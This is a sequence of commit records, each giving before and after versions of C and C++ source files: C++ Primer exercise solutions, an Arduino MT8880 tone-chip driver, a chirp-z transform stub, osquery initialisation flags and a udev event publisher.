render, font, *( *pole + i ), i );\n }\n SDL_RenderPresent( render );\n}\n\nvoid game_destroy( void )\n{\n SDL_DestroyTexture( tile );\n SDL_DestroyTexture( font );\n SDL_DestroyRenderer( render );\n SDL_DestroyWindow( window );\n SDL_Quit();\n}\n\nvoid game_init( void )\n{\n window = SDL_CreateWindow( game_name, SDL_WINDOWPOS_CENTERED, \n SDL_WINDOWPOS_CENTERED, screen_width, screen_height, SDL_WINDOW_SHOWN );\n if ( window == NULL ) {\n send_error( EXIT_FAILURE );\n }\n render = SDL_CreateRenderer( window, -1, SDL_RENDERER_ACCELERATED | \n SDL_RENDERER_PRESENTVSYNC );\n if ( render == NULL ) {\n send_error( EXIT_FAILURE );\n }\n tile = IMG_LoadTexture( render, \".\/images\/tiles.png\" );\n font = IMG_LoadTexture( render, \".\/images\/font.png\" );\n font_color( font, 0xf0c090 );\n srand( time( NULL ) );\n game_restart();\n}\n\nint main( int argc, char *argv[] )\n{\n Uint32 FPS_MAX = 1000 \/ 31; \/\/ 30 fps\n\n game_init();\n while ( quit_flag == false ) {\n game_event( &event );\n game_loop();\n game_render();\n SDL_Delay( FPS_MAX );\n }\n game_destroy();\n return EXIT_SUCCESS;\n}<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <vector>\n\nusing std::vector; using std::cout; using std::endl; using std::cin;\n\nint main()\n{\n vector<int> ivec;\n for (int i; cin >> i; ivec.push_back(i));\n\n if (ivec.empty())\n {\n cout << \"input at least one integer.\" << endl;\n return -1;\n }\n\n if (ivec.size() == 1)\n {\n cout << \"only one integer \" << ivec[0] << \", it doesn't have any adjacent elements.\" << endl;\n return -1;\n }\n\n for (int i = 0; i != ivec.size() - 1; ++i)\n cout << ivec[i] + ivec[i + 1] << \" \";\n cout << endl;\n \n return 0;\n}\n<commit_msg>Changed condition for clarity<commit_after>#include <iostream>\n#include <vector>\n\nusing std::vector; using std::cout; using std::endl; using std::cin;\n\nint main()\n{\n vector<int> ivec;\n for (int i; cin >> i; ivec.push_back(i));\n\n if (ivec.empty())\n {\n cout << \"input at least one integer.\" << endl;\n return -1;\n }\n\n if (ivec.size() == 1)\n {\n cout << \"only one integer \" << ivec[0] << \", it doesn't have any adjacent elements.\" << endl;\n return -1;\n }\n\n for (int i = 0; i < ivec.size() - 1; ++i)\n cout << ivec[i] + ivec[i + 1] << \" \";\n cout << endl;\n \n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ @author @Yue Wang @shbling @Soyn @Yue Wang\n\/\/\n\/\/ Exercise 10.24:\n\/\/ Use bind and check_size to find the first element in a vector of ints that has a value greater\n\/\/ than the length of a specified string value.\n\/\/\n\/\/ Discussion over this exercise on StackOverflow\n\/\/ http:\/\/stackoverflow.com\/questions\/20539406\/what-type-does-stdfind-if-not-return\n\/\/\n\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <functional>\n\nusing std::cout;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::find_if;\nusing std::bind;\nusing std::size_t;\n\nauto check_size(string const& str, size_t sz)\n{\n return str.size() < sz;\n}\n\nauto find_first_greater(vector<int> const& v, string const& str)\n{\n auto predicate = [&](int i){ return bind(check_size, str, i)(); };\n return find_if(v.cbegin(), v.cend(), predicate);\n}\n\nint main()\n{\n vector<int> vec{ 0, 1, 2, 3, 4, 5, 6, 7 };\n string str(\"123456\");\n auto result = find_first_greater(vec, str);\n if (result != vec.cend())\n cout << *result << endl;\n else\n cout << \"Not found\" << endl;\n\n return 0;\n}\n<commit_msg>Update ex10_24.cpp<commit_after>\/\/\n\/\/ @author @Yue Wang @shbling @Soyn @Yue Wang\n\/\/\n\/\/ Exercise 10.24:\n\/\/ Use bind and check_size to find the first element in a vector of ints that has a value greater\n\/\/ than the length of a specified string value.\n\/\/\n\/\/ Discussion over this exercise on StackOverflow\n\/\/ http:\/\/stackoverflow.com\/questions\/20539406\/what-type-does-stdfind-if-not-return\n\/\/\n\n#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <functional>\n\nusing std::cout;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::find_if;\nusing std::bind;\nusing std::size_t;\n\nauto check_size(string const& str, size_t sz)\n{\n return str.size() < sz;\n}\n\nint main()\n{\n vector<int> vec{ 0, 1, 2, 3, 4, 5, 6, 7 };\n string str(\"123456\");\n auto result = find_if(vec.begin(), vec.end(), bind(check_size, str, _1));\n if (result != vec.cend())\n cout << *result << endl;\n else\n cout << \"Not found\" << endl;\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ ex11_38.cpp\n\/\/ Exercise 11.38\n\/\/\n\/\/ Created by pezy on 12\/18\/14.\n\/\/ Copyright (c) 2014 pezy. All rights reserved.\n\/\/\n\/\/ Rewrite the word-counting (11.1, p. 421) and word-transformation (11.3.6, p.\n\/\/ 440) programs to use an unordered_map.\n\n#include <unordered_map>\n#include <set>\n#include <string>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n\nusing std::string;\n\nvoid wordCounting()\n{\n std::unordered_map<string, size_t> word_count;\n for (string word; std::cin >> word; ++word_count[word])\n ;\n for (const auto& w : word_count)\n std::cout << w.first << \" occurs \" << w.second\n << (w.second > 1 ? \"times\" : \"time\") << std::endl;\n}\n\nvoid wordTransformation()\n{\n std::ifstream ifs_map(\"..\/data\/word_transformation.txt\"),\n ifs_content(\"..\/data\/given_to_transform.txt\");\n if (!ifs_map || !ifs_content) {\n std::cerr << \"can't find the documents.\" << std::endl;\n return;\n }\n\n std::unordered_map<string, string> trans_map;\n for (string key, value; ifs_map >> key && getline(ifs_map, value);)\n if (value.size() > 1)\n trans_map[key] =\n value.substr(1).substr(0, value.find_last_not_of(' '));\n\n for (string text, word; getline(ifs_content, text); std::cout << std::endl)\n for (std::istringstream iss(text); iss >> word;) {\n auto map_it = trans_map.find(word);\n std::cout << (map_it == trans_map.cend() ? word : map_it->second)\n << \" \";\n }\n}\n\nint main()\n{\n \/\/ wordCounting();\n wordTransformation();\n}<commit_msg>Update ex11_38.cpp<commit_after>\/\/\n\/\/ ex11_38.cpp\n\/\/ Exercise 11.38\n\/\/\n\/\/ Created by pezy on 12\/18\/14.\n\/\/ Copyright (c) 2014 pezy. All rights reserved.\n\/\/\n\/\/ Rewrite the word counting (11.1, p. 421) and word transformation (11.3.6, p. 440) programs to use an unordered_map.\n\n#include <iostream>\n#include <string>\n#include <cstddef>\n#include <fstream>\n#include <sstream>\n#include <unordered_map>\n\nusing namespace std;\n\nvoid wordCounting()\n{\n unordered_map<string, size_t> word_count;\n for(string word; cin>>word; ++word_count[word])\n ;\n for(const auto &w:word_count)\n cout<<w.first<<\" occurs \"<<w.second<<((w.second>1)?\" times\":\" time\")<<endl;\n}\n\nvoid wordTransformation()\n{\n ifstream ifs_map(\"E:\\\\1.txt\"), ifs_content(\"E:\\\\2.txt\");\n if(!ifs_map||!ifs_content)\n {\n cerr<<\"can't find the documents\"<<endl;\n return;\n }\n\n unordered_map<string, string> trans_map;\n for(string key, value; ifs_map>>key&&getline(ifs_map, value); )\n if(value.size()>1)\n trans_map[key]=value.substr(1).substr(0, value.find_last_not_of(' '));\n\n for(string text, word; getline(ifs_content, text); cout<<endl)\n for(istringstream iss(text); iss>>word; )\n {\n auto map_it=trans_map.find(word);\n cout<<((map_it==trans_map.cend()) ? word : map_it->second)<<\" \";\n }\n}\n\nint main()\n{\n \/\/wordCounting();\n wordTransformation();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Arduino.h\"\n\n#include \"mt8880.h\"\n\nvoid mt8880_init() {\n \/\/Prepare chip select and register select\n pinMode(CS, OUTPUT);\n digitalWrite(CS, HIGH);\n pinMode(RS, OUTPUT);\n digitalWrite(RS, HIGH);\n\n \/\/Wait until 100ms after power on\n while(millis() < 100);\n\n \/\/Creepy initialization magic from the datasheet\n mt8880_read(true);\n mt8880_write(0b0000, true);\n mt8880_write(0b0000, true);\n mt8880_write(0b1000, true);\n mt8880_write(0b0000, true);\n mt8880_read(true);\n}\n\nchar mt8880_read(bool rs) {\n \/\/Data pins should be inputs\n pinMode(D0, INPUT);\n pinMode(D1, INPUT);\n pinMode(D2, INPUT);\n pinMode(D3, INPUT);\n\n \/\/Select chip\n digitalWrite(CS, LOW);\n\n \/\/Select status\/control registers (based on rs value)\n digitalWrite(RS, rs);\n\n \/\/Read register\n digitalWrite(RW, HIGH);\n\n \/\/Clock pulse (so the chip updates)\n digitalWrite(O2, HIGH);\n delay(5);\n\n \/\/Storage\n char data = 0;\n\n \/\/Fun bitwise stuff to read and combine the binary values\n data |= digitalRead(D3);\n data <<= 1;\n data |= digitalRead(D2);\n data <<= 1;\n data |= digitalRead(D1);\n data <<= 1;\n data |= digitalRead(D0);\n\n \/\/Clock pulse\n digitalWrite(O2, LOW);\n delay(5);\n\n \/\/Deselect chip\n digitalWrite(CS, HIGH);\n\n return data;\n}\n\nvoid mt8880_write(char data, bool rs) {\n \/\/Data pins should be outputs\n pinMode(D0, OUTPUT);\n pinMode(D1, OUTPUT);\n pinMode(D2, OUTPUT);\n pinMode(D3, OUTPUT);\n\n \/\/Select chip\n digitalWrite(CS, LOW);\n\n \/\/Select status\/control registers (based on rs value)\n digitalWrite(RS, rs);\n\n \/\/Write register\n digitalWrite(RW, LOW);\n\n \/\/Fun bitwise stuff to separate and write the binary values\n digitalWrite(D0, data & 1);\n data >>= 1;\n digitalWrite(D1, data & 1);\n data >>= 1;\n digitalWrite(D2, data & 1);\n data >>= 1;\n digitalWrite(D3, data & 1);\n data >>= 1;\n\n \/\/Clock pulse (so the chip updates)\n digitalWrite(O2, HIGH);\n delay(5);\n\n \/\/Clock pulse\n digitalWrite(O2, LOW);\n delay(5);\n\n \/\/Deselect chip\n digitalWrite(CS, HIGH);\n}\n<commit_msg>fix some initialization values for mt8880<commit_after>#include \"Arduino.h\"\n\n#include \"mt8880.h\"\n\nvoid mt8880_init() {\n \/\/Prepare interrupt input with pull-up\n pinMode(IRQ, INPUT);\n digitalWrite(IRQ, HIGH);\n\n \/\/Prepare chip select, register select, read\/write, and clock\n pinMode(CS, OUTPUT);\n digitalWrite(CS, HIGH);\n pinMode(RS, OUTPUT);\n digitalWrite(RS, HIGH);\n pinMode(RW, OUTPUT);\n digitalWrite(RW, HIGH);\n pinMode(O2, OUTPUT);\n digitalWrite(O2, LOW);\n\n \/\/Wait until 100ms after power on\n while(millis() < 100);\n\n \/\/Creepy initialization magic from the datasheet\n mt8880_read(true);\n mt8880_write(0b0000, true);\n mt8880_write(0b0000, true);\n mt8880_write(0b1000, true);\n mt8880_write(0b0000, true);\n mt8880_read(true);\n}\n\nchar mt8880_read(bool rs) {\n \/\/Data pins should be inputs\n pinMode(D0, INPUT);\n pinMode(D1, INPUT);\n pinMode(D2, INPUT);\n pinMode(D3, INPUT);\n\n \/\/Select chip\n digitalWrite(CS, LOW);\n\n \/\/Select status\/control registers (based on rs value)\n digitalWrite(RS, rs);\n\n \/\/Read register\n digitalWrite(RW, HIGH);\n\n \/\/Clock pulse (so the chip updates)\n digitalWrite(O2, HIGH);\n delay(5);\n\n \/\/Storage\n char data = 0;\n\n \/\/Fun bitwise stuff to read and combine the binary values\n data |= digitalRead(D3);\n data <<= 1;\n data |= digitalRead(D2);\n data <<= 1;\n data |= digitalRead(D1);\n data <<= 1;\n data |= digitalRead(D0);\n\n \/\/Clock pulse\n digitalWrite(O2, LOW);\n delay(5);\n\n \/\/Deselect chip\n digitalWrite(CS, HIGH);\n\n return data;\n}\n\nvoid mt8880_write(char data, bool rs) {\n \/\/Data pins should be outputs\n pinMode(D0, OUTPUT);\n pinMode(D1, OUTPUT);\n pinMode(D2, OUTPUT);\n pinMode(D3, OUTPUT);\n\n \/\/Select chip\n digitalWrite(CS, LOW);\n\n \/\/Select status\/control registers (based on rs value)\n digitalWrite(RS, rs);\n\n \/\/Write register\n digitalWrite(RW, LOW);\n\n \/\/Fun bitwise stuff to separate and write the binary values\n digitalWrite(D0, data & 1);\n data >>= 1;\n digitalWrite(D1, data & 1);\n data >>= 1;\n digitalWrite(D2, data & 1);\n data >>= 1;\n digitalWrite(D3, data & 1);\n data >>= 1;\n\n \/\/Clock pulse (so the chip updates)\n digitalWrite(O2, HIGH);\n delay(5);\n\n \/\/Clock pulse\n digitalWrite(O2, LOW);\n delay(5);\n\n \/\/Deselect chip\n digitalWrite(CS, HIGH);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <fftw3.h>\n#include <boost\/timer\/timer.hpp>\n#include <boost\/chrono.hpp>\n#include <cmath>\n#include <iostream>\n#include <complex>\n#include <Eigen\/Dense>\n#include <vector>\n#include <unsupported\/Eigen\/FFT>\n#include <fstream>\n#include \"chirpz.h\"\n\n\nusing namespace Eigen; \nnamespace chirpz {\n\n\nvoid hello(fc32_t c) {\n std::cout << \"Hello World : \" << c << std::endl; \n \n\n}\n\ntemplate class ChirpZ<c32_t>;\ntemplate class ChirpZ<c64_t>;\ntemplate class ChirpZ2d<c32_t>;\ntemplate class ChirpZ2d<c64_t>;\n\n}\n\n<commit_msg>unneded dependency<commit_after>#include <fftw3.h>\n#include <boost\/timer\/timer.hpp>\n#include <boost\/chrono.hpp>\n#include <cmath>\n#include <iostream>\n#include <complex>\n#include <Eigen\/Dense>\n#include <vector>\n#include <fstream>\n#include \"chirpz.h\"\n\n\nusing namespace Eigen; \nnamespace chirpz {\n\n\nvoid hello(fc32_t c) {\n std::cout << \"Hello World : \" << c << std::endl; \n \n\n}\n\ntemplate class ChirpZ<c32_t>;\ntemplate class ChirpZ<c64_t>;\ntemplate class ChirpZ2d<c32_t>;\ntemplate class ChirpZ2d<c64_t>;\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2004-present Facebook. All Rights Reserved.\n\n#include <glog\/logging.h>\n\n#include \"osquery\/core.h\"\n#include \"osquery\/flags.h\"\n#include \"osquery\/filesystem.h\"\n#include \"osquery\/registry.h\"\n\nnamespace osquery {\n\n#define __GFLAGS_NAMESPACE google\n\nconst std::string kDescription =\n \"your operating system as a high-performance \"\n \"relational database\";\nconst std::string kEpilog = \"osquery project page <http:\/\/osquery.io>.\";\n\nDEFINE_osquery_flag(bool, debug, false, \"Enable debug messages.\");\n\nDEFINE_osquery_flag(bool,\n verbose_debug,\n false,\n \"Enable verbose debug messages.\")\n\nDEFINE_osquery_flag(bool,\n disable_logging,\n false,\n \"Disable ERROR\/INFO logging.\");\n\nDEFINE_osquery_flag(string,\n osquery_log_dir,\n \"\/var\/log\/osquery\/\",\n \"Directory to store ERROR\/INFO and results logging.\");\n\nstatic const char* basename(const char* filename) {\n const char* sep = strrchr(filename, '\/');\n return sep ? sep + 1 : filename;\n}\n\nvoid initOsquery(int argc, char* argv[], int tool) {\n std::string binary(basename(argv[0]));\n std::string first_arg = (argc > 1) ? std::string(argv[1]) : \"\";\n\n if ((first_arg == \"--help\" || first_arg == \"-h\" || first_arg == \"-help\") &&\n tool != OSQUERY_TOOL_TEST) {\n \/\/ Parse help options before gflags. Only display osquery-related options.\n fprintf(stdout, \"osquery \" OSQUERY_VERSION \", %s\\n\", kDescription.c_str());\n if (tool == OSQUERY_TOOL_SHELL) {\n \/\/ The shell allows a caller to run a single SQL statement and exit.\n fprintf(\n stdout, \"Usage: %s [OPTION]... [SQL STATEMENT]\\n\\n\", binary.c_str());\n } else {\n fprintf(stdout, \"Usage: %s [OPTION]...\\n\\n\", binary.c_str());\n }\n fprintf(stdout,\n \"The following options control the osquery \"\n \"daemon and shell.\\n\\n\");\n\n Flag::printFlags(Flag::get().flags());\n\n if (tool == OSQUERY_TOOL_SHELL) {\n \/\/ Print shell flags.\n fprintf(stdout, \"\\nThe following options control the osquery shell.\\n\\n\");\n Flag::printFlags(Flag::get().shellFlags());\n }\n\n fprintf(stdout, \"\\n%s\\n\", kEpilog.c_str());\n\n ::exit(0);\n }\n\n FLAGS_alsologtostderr = true;\n FLAGS_logbufsecs = 0; \/\/ flush the log buffer immediately\n FLAGS_stop_logging_if_full_disk = true;\n FLAGS_max_log_size = 10; \/\/ max size for individual log file is 10MB\n\n \/\/ Set version string from CMake build\n __GFLAGS_NAMESPACE::SetVersionString(OSQUERY_VERSION);\n\n \/\/ Let gflags parse the non-help options\/flags.\n __GFLAGS_NAMESPACE::ParseCommandLineFlags(&argc, &argv, false);\n\n \/\/ The log dir is used for glogging and the filesystem results logs.\n if (isWritable(FLAGS_osquery_log_dir.c_str()).ok()) {\n FLAGS_log_dir = FLAGS_osquery_log_dir;\n }\n\n if (FLAGS_verbose_debug) {\n FLAGS_debug = true;\n FLAGS_v = 1;\n }\n\n if (!FLAGS_debug) {\n FLAGS_minloglevel = 1; \/\/ WARNING\n }\n\n if (FLAGS_disable_logging) {\n FLAGS_logtostderr = true;\n FLAGS_minloglevel = 2;\n }\n\n google::InitGoogleLogging(argv[0]);\n osquery::InitRegistry::get().run();\n}\n}\n<commit_msg>More appropriate logging controls<commit_after>\/\/ Copyright 2004-present Facebook. All Rights Reserved.\n\n#include <glog\/logging.h>\n\n#include \"osquery\/core.h\"\n#include \"osquery\/flags.h\"\n#include \"osquery\/filesystem.h\"\n#include \"osquery\/registry.h\"\n\nnamespace osquery {\n\n#define __GFLAGS_NAMESPACE google\n\nconst std::string kDescription =\n \"your operating system as a high-performance \"\n \"relational database\";\nconst std::string kEpilog = \"osquery project page <http:\/\/osquery.io>.\";\n\nDEFINE_osquery_flag(bool, debug, false, \"Enable debug messages.\");\n\nDEFINE_osquery_flag(bool,\n verbose_debug,\n false,\n \"Enable verbose debug messages.\")\n\nDEFINE_osquery_flag(bool,\n disable_logging,\n false,\n \"Disable ERROR\/INFO logging.\");\n\nDEFINE_osquery_flag(string,\n osquery_log_dir,\n \"\/var\/log\/osquery\/\",\n \"Directory to store ERROR\/INFO and results logging.\");\n\nstatic const char* basename(const char* filename) {\n const char* sep = strrchr(filename, '\/');\n return sep ? sep + 1 : filename;\n}\n\nvoid initOsquery(int argc, char* argv[], int tool) {\n std::string binary(basename(argv[0]));\n std::string first_arg = (argc > 1) ? std::string(argv[1]) : \"\";\n\n if ((first_arg == \"--help\" || first_arg == \"-h\" || first_arg == \"-help\") &&\n tool != OSQUERY_TOOL_TEST) {\n \/\/ Parse help options before gflags. Only display osquery-related options.\n fprintf(stdout, \"osquery \" OSQUERY_VERSION \", %s\\n\", kDescription.c_str());\n if (tool == OSQUERY_TOOL_SHELL) {\n \/\/ The shell allows a caller to run a single SQL statement and exit.\n fprintf(\n stdout, \"Usage: %s [OPTION]... [SQL STATEMENT]\\n\\n\", binary.c_str());\n } else {\n fprintf(stdout, \"Usage: %s [OPTION]...\\n\\n\", binary.c_str());\n }\n fprintf(stdout,\n \"The following options control the osquery \"\n \"daemon and shell.\\n\\n\");\n\n Flag::printFlags(Flag::get().flags());\n\n if (tool == OSQUERY_TOOL_SHELL) {\n \/\/ Print shell flags.\n fprintf(stdout, \"\\nThe following options control the osquery shell.\\n\\n\");\n Flag::printFlags(Flag::get().shellFlags());\n }\n\n fprintf(stdout, \"\\n%s\\n\", kEpilog.c_str());\n\n ::exit(0);\n }\n\n FLAGS_alsologtostderr = true;\n FLAGS_logbufsecs = 0; \/\/ flush the log buffer immediately\n FLAGS_stop_logging_if_full_disk = true;\n FLAGS_max_log_size = 10; \/\/ max size for individual log file is 10MB\n\n \/\/ Set version string from CMake build\n __GFLAGS_NAMESPACE::SetVersionString(OSQUERY_VERSION);\n\n \/\/ Let gflags parse the non-help options\/flags.\n __GFLAGS_NAMESPACE::ParseCommandLineFlags(&argc, &argv, false);\n\n \/\/ The log dir is used for glogging and the filesystem results logs.\n if (isWritable(FLAGS_osquery_log_dir.c_str()).ok()) {\n FLAGS_log_dir = FLAGS_osquery_log_dir;\n }\n\n if (FLAGS_verbose_debug) {\n \/\/ Turn verbosity up to 1.\n \/\/ Do log DEBUG, INFO, WARNING, ERROR to their log files.\n \/\/ Do log the above and verbose=1 to stderr.\n FLAGS_debug = true;\n FLAGS_v = 1;\n }\n\n if (!FLAGS_debug) {\n \/\/ Do NOT log INFO, WARNING, ERROR to stderr.\n \/\/ Do log to their log files.\n FLAGS_minloglevel = 0; \/\/ INFO\n FLAGS_alsologtostderr = false;\n }\n\n if (FLAGS_disable_logging) {\n \/\/ Do log ERROR to stderr.\n \/\/ Do NOT log INFO, WARNING, ERROR to their log files.\n FLAGS_logtostderr = true;\n FLAGS_minloglevel = 2; \/\/ ERROR\n }\n\n google::InitGoogleLogging(argv[0]);\n osquery::InitRegistry::get().run();\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (c) 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under both the Apache 2.0 license (found in the\n * LICENSE file in the root directory of this source tree) and the GPLv2 (found\n * in the COPYING file in the root directory of this source tree).\n * You may select, at your option, one of the above-listed licenses.\n *\/\n\n#include <poll.h>\n\n#include <osquery\/events.h>\n#include <osquery\/filesystem.h>\n#include <osquery\/logger.h>\n#include <osquery\/registry_factory.h>\n\n#include \"osquery\/events\/linux\/udev.h\"\n\nnamespace osquery {\n\nstatic const int kUdevMLatency = 200;\n\nREGISTER(UdevEventPublisher, \"event_publisher\", \"udev\");\n\nStatus UdevEventPublisher::setUp() {\n \/\/ The Setup and Teardown workflows should be protected against races.\n \/\/ Just in case let's protect the publisher's resources.\n WriteLock lock(mutex_);\n\n \/\/ Create the udev object.\n handle_ = udev_new();\n if (handle_ == nullptr) {\n return Status(1, \"Could not create udev object.\");\n }\n\n \/\/ Set up the udev monitor before scanning\/polling.\n monitor_ = udev_monitor_new_from_netlink(handle_, \"udev\");\n if (monitor_ == nullptr) {\n udev_unref(handle_);\n handle_ = nullptr;\n return Status(1, \"Could not create udev monitor.\");\n }\n\n udev_monitor_enable_receiving(monitor_);\n return Status(0, \"OK\");\n}\n\nvoid UdevEventPublisher::tearDown() {\n WriteLock lock(mutex_);\n if (monitor_ != nullptr) {\n udev_monitor_unref(monitor_);\n monitor_ = nullptr;\n }\n\n if (handle_ != nullptr) {\n udev_unref(handle_);\n handle_ = nullptr;\n }\n}\n\nStatus UdevEventPublisher::run() {\n int fd = 0;\n\n {\n WriteLock lock(mutex_);\n if (monitor_ == nullptr) {\n return Status(1);\n }\n fd = udev_monitor_get_fd(monitor_);\n }\n\n struct pollfd fds[1];\n fds[0].fd = fd;\n fds[0].events = POLLIN;\n\n int selector = ::poll(fds, 1, 1000);\n if (selector == -1 && errno != EINTR && errno != EAGAIN) {\n LOG(ERROR) << \"Could not read udev monitor\";\n return Status(1, \"udev monitor failed.\");\n }\n\n if (selector == 0 || !(fds[0].revents & POLLIN)) {\n \/\/ Read timeout.\n return Status(0, \"Finished\");\n }\n\n {\n WriteLock lock(mutex_);\n struct udev_device* device = udev_monitor_receive_device(monitor_);\n if (device == nullptr) {\n LOG(ERROR) << \"udev monitor returned invalid device\";\n return Status(1, \"udev monitor failed.\");\n }\n\n auto ec = createEventContextFrom(device);\n fire(ec);\n\n udev_device_unref(device);\n }\n\n pauseMilli(kUdevMLatency);\n return Status(0, \"OK\");\n}\n\nstd::string UdevEventPublisher::getValue(struct udev_device* device,\n const std::string& property) {\n auto value = udev_device_get_property_value(device, property.c_str());\n if (value != nullptr) {\n return std::string(value);\n }\n return \"\";\n}\n\nstd::string UdevEventPublisher::getAttr(struct udev_device* device,\n const std::string& attr) {\n auto value = udev_device_get_sysattr_value(device, attr.c_str());\n if (value != nullptr) {\n return std::string(value);\n }\n return \"\";\n}\n\nUdevEventContextRef UdevEventPublisher::createEventContextFrom(\n struct udev_device* device) {\n auto ec = createEventContext();\n ec->device = device;\n \/\/ Map the action string to the eventing enum.\n ec->action = UDEV_EVENT_ACTION_UNKNOWN;\n ec->action_string = std::string(udev_device_get_action(device));\n if (ec->action_string == \"add\") {\n ec->action = UDEV_EVENT_ACTION_ADD;\n } else if (ec->action_string == \"remove\") {\n ec->action = UDEV_EVENT_ACTION_REMOVE;\n } else if (ec->action_string == \"change\") {\n ec->action = UDEV_EVENT_ACTION_CHANGE;\n }\n\n \/\/ Set the subscription-aware variables for the event.\n auto value = udev_device_get_subsystem(device);\n if (value != nullptr) {\n ec->subsystem = std::string(value);\n }\n\n value = udev_device_get_devnode(device);\n if (value != nullptr) {\n ec->devnode = std::string(value);\n }\n\n value = udev_device_get_devtype(device);\n if (value != nullptr) {\n ec->devtype = std::string(value);\n }\n\n value = udev_device_get_driver(device);\n if (value != nullptr) {\n ec->driver = std::string(value);\n }\n\n return ec;\n}\n\nbool UdevEventPublisher::shouldFire(const UdevSubscriptionContextRef& sc,\n const UdevEventContextRef& ec) const {\n if (sc->action != UDEV_EVENT_ACTION_ALL) {\n if (sc->action != ec->action) {\n return false;\n }\n }\n\n if (sc->subsystem.length() != 0 && sc->subsystem != ec->subsystem) {\n return false;\n } else if (sc->devnode.length() != 0 && sc->devnode != ec->devnode) {\n return false;\n } else if (sc->devtype.length() != 0 && sc->devtype != ec->devtype) {\n return false;\n } else if (sc->driver.length() != 0 && sc->driver != ec->driver) {\n return false;\n }\n\n return true;\n}\n}\n<commit_msg>udev resource protection (#4599)<commit_after>\/**\n * Copyright (c) 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under both the Apache 2.0 license (found in the\n * LICENSE file in the root directory of this source tree) and the GPLv2 (found\n * in the COPYING file in the root directory of this source tree).\n * You may select, at your option, one of the above-listed licenses.\n *\/\n\n#include <poll.h>\n\n#include <osquery\/events.h>\n#include <osquery\/filesystem.h>\n#include <osquery\/logger.h>\n#include <osquery\/registry_factory.h>\n\n#include \"osquery\/events\/linux\/udev.h\"\n\nnamespace osquery {\n\nstatic const int kUdevMLatency = 200;\n\nREGISTER(UdevEventPublisher, \"event_publisher\", \"udev\");\n\nStatus UdevEventPublisher::setUp() {\n \/\/ The Setup and Teardown workflows should be protected against races.\n \/\/ Just in case let's protect the publisher's resources.\n WriteLock lock(mutex_);\n\n \/\/ Create the udev object.\n handle_ = udev_new();\n if (handle_ == nullptr) {\n return Status(1, \"Could not create udev object.\");\n }\n\n \/\/ Set up the udev monitor before scanning\/polling.\n monitor_ = udev_monitor_new_from_netlink(handle_, \"udev\");\n if (monitor_ == nullptr) {\n udev_unref(handle_);\n handle_ = nullptr;\n return Status(1, \"Could not create udev monitor.\");\n }\n\n udev_monitor_enable_receiving(monitor_);\n return Status(0, \"OK\");\n}\n\nvoid UdevEventPublisher::tearDown() {\n WriteLock lock(mutex_);\n if (monitor_ != nullptr) {\n udev_monitor_unref(monitor_);\n monitor_ = nullptr;\n }\n\n if (handle_ != nullptr) {\n udev_unref(handle_);\n handle_ = nullptr;\n }\n}\n\nStatus UdevEventPublisher::run() {\n int fd = 0;\n\n {\n WriteLock lock(mutex_);\n if (monitor_ == nullptr) {\n return Status(1);\n }\n fd = udev_monitor_get_fd(monitor_);\n\n struct pollfd fds[1];\n fds[0].fd = fd;\n fds[0].events = POLLIN;\n\n int selector = ::poll(fds, 1, 1000);\n if (selector == -1 && errno != EINTR && errno != EAGAIN) {\n LOG(ERROR) << \"Could not read udev monitor\";\n return Status(1, \"udev monitor failed.\");\n }\n\n if (selector == 0 || !(fds[0].revents & POLLIN)) {\n \/\/ Read timeout.\n return Status(0, \"Finished\");\n }\n\n struct udev_device* device = udev_monitor_receive_device(monitor_);\n if (device == nullptr) {\n LOG(ERROR) << \"udev monitor returned invalid device\";\n return Status(1, \"udev monitor failed.\");\n }\n\n auto ec = createEventContextFrom(device);\n fire(ec);\n\n udev_device_unref(device);\n }\n\n pauseMilli(kUdevMLatency);\n return Status(0, \"OK\");\n}\n\nstd::string UdevEventPublisher::getValue(struct udev_device* device,\n const std::string& property) {\n auto value = udev_device_get_property_value(device, property.c_str());\n if (value != nullptr) {\n return std::string(value);\n }\n return \"\";\n}\n\nstd::string UdevEventPublisher::getAttr(struct udev_device* device,\n const std::string& attr) {\n auto value = udev_device_get_sysattr_value(device, attr.c_str());\n if (value != nullptr) {\n return std::string(value);\n }\n return \"\";\n}\n\nUdevEventContextRef UdevEventPublisher::createEventContextFrom(\n struct udev_device* device) {\n auto ec = createEventContext();\n ec->device = device;\n \/\/ Map the action string to the eventing enum.\n ec->action = UDEV_EVENT_ACTION_UNKNOWN;\n ec->action_string = std::string(udev_device_get_action(device));\n if (ec->action_string == \"add\") {\n ec->action = UDEV_EVENT_ACTION_ADD;\n } else if (ec->action_string == \"remove\") {\n ec->action = UDEV_EVENT_ACTION_REMOVE;\n } else if (ec->action_string == \"change\") {\n ec->action = UDEV_EVENT_ACTION_CHANGE;\n }\n\n \/\/ Set the subscription-aware variables for the event.\n auto value = udev_device_get_subsystem(device);\n if (value != nullptr) {\n ec->subsystem = std::string(value);\n }\n\n value = udev_device_get_devnode(device);\n if (value != nullptr) {\n ec->devnode = std::string(value);\n }\n\n value = udev_device_get_devtype(device);\n if (value != nullptr) {\n ec->devtype = std::string(value);\n }\n\n value = udev_device_get_driver(device);\n if (value != nullptr) {\n ec->driver = std::string(value);\n }\n\n return ec;\n}\n\nbool UdevEventPublisher::shouldFire(const UdevSubscriptionContextRef& sc,\n const UdevEventContextRef& ec) const {\n if (sc->action != UDEV_EVENT_ACTION_ALL) {\n if (sc->action != ec->action) {\n return false;\n }\n }\n\n if (sc->subsystem.length() != 0 && sc->subsystem != ec->subsystem) {\n return false;\n } else if (sc->devnode.length() != 0 && sc->devnode != ec->devnode) {\n return false;\n } else if (sc->devtype.length() != 0 && sc->devtype != ec->devtype) {\n return false;\n } else if (sc->driver.length() != 0 && sc->driver != ec->driver) {\n return false;\n }\n\n return true;\n}\n} \/\/ namespace osquery\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 